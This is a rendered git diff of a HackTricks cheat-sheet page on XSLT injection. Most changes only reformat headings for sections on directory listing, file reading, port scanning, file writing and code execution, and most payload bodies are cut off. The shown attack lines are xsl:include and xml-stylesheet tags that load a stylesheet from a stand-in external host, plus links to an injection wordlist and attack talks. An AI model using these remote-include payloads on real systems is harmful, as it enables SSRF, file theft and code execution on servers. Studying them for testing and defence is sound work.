# Directory listing (PHP)
|
||||
## Directory listing (PHP)
|
||||
|
||||
## **Opendir + readdir**
|
||||
### **Opendir + readdir**
|
||||
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
|
|
@ -237,7 +247,7 @@ Upload this and take information
|
|||
</xsl:template></xsl:stylesheet>
|
||||
```
|
||||
|
||||
## **Assert (var_dump + scandir + false)**
|
||||
### **Assert (var\_dump + scandir + false)**
|
||||
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
|
@ -249,9 +259,9 @@ Upload this and take information
|
|||
</html>
|
||||
```
|
||||
|
||||
# Read files
|
||||
## Read files
|
||||
|
||||
## **Internal - PHP**
|
||||
### **Internal - PHP**
|
||||
|
||||
```markup
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||||
|
|
@ -261,7 +271,7 @@ Upload this and take information
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
## **Internal - XXE**
|
||||
### **Internal - XXE**
|
||||
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
|
|
@ -273,7 +283,7 @@ Upload this and take information
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
## **Through HTTP**
|
||||
### **Through HTTP**
|
||||
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
|
|
@ -292,7 +302,7 @@ Upload this and take information
|
|||
</xsl:template>
|
||||
```
|
||||
|
||||
## **Internal (PHP-function)**
|
||||
### **Internal (PHP-function)**
|
||||
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
|
|
@ -313,7 +323,7 @@ Upload this and take information
|
|||
</html>
|
||||
```
|
||||
|
||||
## Port scan
|
||||
### Port scan
|
||||
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
|
|
@ -324,9 +334,9 @@ Upload this and take information
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
# Write to a file
|
||||
## Write to a file
|
||||
|
||||
## XSLT 2.0
|
||||
### XSLT 2.0
|
||||
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
|
|
@ -339,7 +349,7 @@ Upload this and take information
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
## **Xalan-J extension**
|
||||
### **Xalan-J extension**
|
||||
|
||||
```markup
|
||||
<xsl:template match="/">
|
||||
|
|
@ -351,7 +361,7 @@ Upload this and take information
|
|||
|
||||
Other ways to write files in the PDF
|
||||
|
||||
# Include external XSL
|
||||
## Include external XSL
|
||||
|
||||
```markup
|
||||
<xsl:include href="http://extenal.web/external.xsl"/>
|
||||
|
|
@ -362,9 +372,9 @@ Other ways to write files in the PDF
|
|||
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
|
||||
```
|
||||
|
||||
# Execute code
|
||||
## Execute code
|
||||
|
||||
## **php:function**
|
||||
### **php:function**
|
||||
|
||||
```markup
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
|
|
@ -389,11 +399,11 @@ xmlns:php="http://php.net/xsl" >
|
|||
|
||||
Execute code using other frameworks in the PDF
|
||||
|
||||
## **More Languages**
|
||||
### **More Languages**
|
||||
|
||||
**In this page you can find examples of RCE in other languajes: **[**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET)** (C#, Java, PHP)**
|
||||
**In this page you can find examples of RCE in other languajes:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
|
||||
|
||||
# **Access PHP static functions from classes**
|
||||
## **Access PHP static functions from classes**
|
||||
|
||||
The following function will call the static method `stringToUrl` of the class XSL:
|
||||
|
||||
|
|
@ -412,35 +422,26 @@ version="1.0">
|
|||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
(Example from [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
|
||||
(Example from [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
|
||||
|
||||
# **Brute-Force Detection List**
|
||||
## **Brute-Force Detection List**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||||
|
||||
# **References**
|
||||
|
||||
* [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\
|
||||
|
||||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\
|
||||
## **References**
|
||||
|
||||
* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
|
||||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
|||
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Reference in New Issue